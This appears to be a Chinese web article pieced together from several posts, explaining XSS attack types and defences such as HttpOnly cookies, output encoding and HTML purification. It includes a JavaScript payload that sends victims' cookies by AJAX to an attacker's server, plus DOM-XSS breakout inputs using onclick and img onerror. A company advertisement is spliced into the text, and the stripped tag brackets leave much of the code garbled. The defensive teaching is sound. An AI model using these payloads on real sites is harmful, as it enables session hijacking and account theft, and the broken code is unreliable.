javascript防御,js防调试

什么是JavaScript注入及简单的防御方法

很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:

成都创新互联主要从事网站设计制作、做网站、网页设计、企业做网站、公司建网站等业务。立足成都服务文峰,10年网站建设经验,价格优惠、服务专业,欢迎来电咨询建站服务:028-86922220

form action="sendmessage.php" method="post'"

textarea name="message" /textarea

input type="submit" value="send" /

/form

当用户点击发送时，这条消息会被保存在数据库中指定的数据表中，另一个用户当打开这条消息的时候将看到发送的内容。但是，如果一个恶意攻击者发送的内容包含了一些javascript代码，这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候，恶意的javascript代码就会得到执行，造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持，直接以合法用户的身份登录其他用户的账户。

恶意攻击者可以在消息框中加入一下javascript代码:

?

var url = ""; //攻击者控制的服务器

var postStr = "ck=" + document.cookie;

var ajax = null;

if(window.XMLHttpRequest())

{

ajax = new XMLHttpRequest();

}

else if(window.ActiveXObject)

{

ajax = new ActiveXObject("Microsoft.XMLHttp");

}

else

{

return;

}

ajax.open("POST", url, true);

ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

ajax.send(postStr);

ajax.onreadystatechange = function()

{

if(ajax.readyState == 4 ajax.status == 200)

{

//alert("Done!");

}

}

通过AJAX异步请求，将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以”合法”用户的身份进行登录操作。

这里首先要理清楚几个重要的问题:

1. cookie的作用

Cookie，有时也用其复数形式Cookies，指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据（通常经过加密）。定义于RFC2109（已废弃），最新取代的规范是RFC2965。

也就是说，cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等)，但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie，通过cookie中的特定值来识别sessionID，才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。

2. 浏览器的同源策略

在进行cookie窃取的时候，攻击者偷取的cookie是什么，是全部cookie，还是当前这个网站的cookie？要解决这个问题，我们要先了解一些浏览器的同源策略。

同源策略，它是由Netscape提出的一个著名的安全策略。

现在所有支持JavaScript 的浏览器都会使用这个策略。

所谓同源是指，域名，协议，端口相同。

当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面

当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的，

即检查是否同源，只有和百度同源的脚本才会被执行。

同源策略(Same Origin Policy)是一种约定，它是浏览器最核心也是最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。

浏览器的同源策略限制了来自不同源的”document”或脚本，对当前”document”的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱，浏览器提出了”Origin”(源)这以概念，来自不同的Origin的对象无法互相干扰。

因为同源策略的原因，也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在下的cookie，那就必须在这个域(可以是不同页面，但要保证是同一个域)下的的某一个页面放置XSS代码，可以是存储型，也可以是反射型或DOM Baesd型的。

4. XSS攻击的种类

对XSS的分类没有明确的标准，但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS

4.1 非持久性跨站点脚本攻击

非持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的XSS攻击。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

4.2 持久的跨站点脚本攻击

持久型跨站点脚本也称为存储跨站点脚本。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库，当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。在上面的示例中,第二个例子就展示了一个持久的XSS攻击。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面，查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

4.3 基于dom的跨站点脚本攻击

基于DOM的XSS有时也称为type0 XSS。当用户能够通过交互修改浏览器页面中的DOM(Document Object Model)并显示在浏览器上时，就有可能产生这种漏洞，从效果上来说它也是反射型XSS。

通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。

?

1

2

3

4

5

6

7

8

9

10

script

function test()

{

var str = document.getElementById("text").value;

document.getElementById("t").innerHTML = "a href='" + str + "' testLink/a";

}

/script

div id="t"/div

input type="text" id="text" value="" /

input type="button" id="s" value="write" onclick="test()" /

在这个场景中，代码修改了页面的DOM节点，通过innerHTML把一段用户数据当作HTML写入到页面中，这就造成了DOM Based XSS

' onclick=alert(/xss/) '

输入后，页面代码就变成了:

a href='' onclick=alert(/xss/) '' testLink/a

点击这个新生成的链接，脚本将被执行。

实际上，这里还有另外一种利用方式—除了构造一个新事件外，还可以选择闭合掉a标签，并插入一个新的HTML标签:

'img src=# onerror=alert(/xss2/) /'

页面代码变成了:

a href=''img src=# onerror=alert(/xss2/) /'' testLink/a

5. XSS漏洞产生的原因

跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体，用制造出一种行之有效的XSS过滤器是一件比较困难的事情。

但是这只是相对的，对用户输入数据的”编码”和”过滤”在任何时候都是很重要的，我们必须采取一些针对性的手段对其进行防御。

xss漏洞如何防御?

1、基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样，都是利用了Web页面的编写不完善，所以每一个漏洞所利用和针对的弱点都不尽相同，这就是给XSS漏洞防御带来的困难，不可能以单一特征来概括所有XSS攻击。

传统的XSS防御在进行攻击鉴别时多采用特征匹配方式，主要是针对JavaScript这个关键词进行检索，但是这种鉴别不够灵活，凡是提交的信息中各有JavaScript时，就被硬性的判定为XSS攻击。

2、基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞，XSS攻击正是利用了失误和漏洞，因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞，避免被攻击：

①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询，对不是规定格式、长度的内容进行过滤。

②实现Session标记、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行。

③确认接收的内容被妥善的规范化，仅包含最小的、安全的Tag，去掉任何对远程内容的引用，使用HTTP only的cookie。

3、客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端，这是它与其他模型最大的区别。之所以客户端安全性如此重要，客户端在接受服务器信息，选择性的执行相关内容。这样就可以使防御XSS攻击变得容易，该模型主要由三大部分组成：

①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;

②包含分层防御策略四个规则的用户输入分析模块;

③保存互联网上有关XSS恶意网站信息的XSS信息数据库。

在浏览器中禁用javascript，可以防御XSS攻击么？

可以，绝对可以。

但是这有点因噎废食。人吃东西也会被噎死，但是总不能因此就不吃饭了是吧。

请教各位大神关于从js写法上避免xss攻击的问题

XSS攻击通常是指黑客通过"HTML注入"篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出，至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持，HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到，所有Cookie都没有设置HttpOnly，现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下：

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符，如、、'、"等，如果发现存在特殊字符，则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合，或者邮箱电话，我们会在前端用js进行检查，但在服务器端代码必须再次检查一次，因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现，但是它们应该选择性的使用，因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类：

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1，这大大歪曲了数据的语义，因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查，但却忽略了输出检查。

1、在HTML标签中输出

如代码：

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击，解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现：

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码：

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内，但是如果我$c = "\"abc;alert(123);//"，你会发现放引号中都没用，自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符，都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中，所以跟3防御相同

5、在css中输出

在owasp-php中实现：

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头，然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现：

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客，我几乎可以随意输入任意字符，插入图片，插入代码，还可以设置样式。这个时要做的就是设置好白名单，严格控制标签。能自定义 css件麻烦事，因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法，在x赋值时进行编码，但是当document.write输出数据到HTML时，浏览器重新渲染了页面，会将x进行解码，因此这么一来，相当于没有编码，而产生xss。

防御方法：首先，还是应该做输出防御编码的，但后面如果是输出到事件或脚本，则要再做一次javascriptEncode编码，如果是输出到HTML内容或属性，则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多：

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()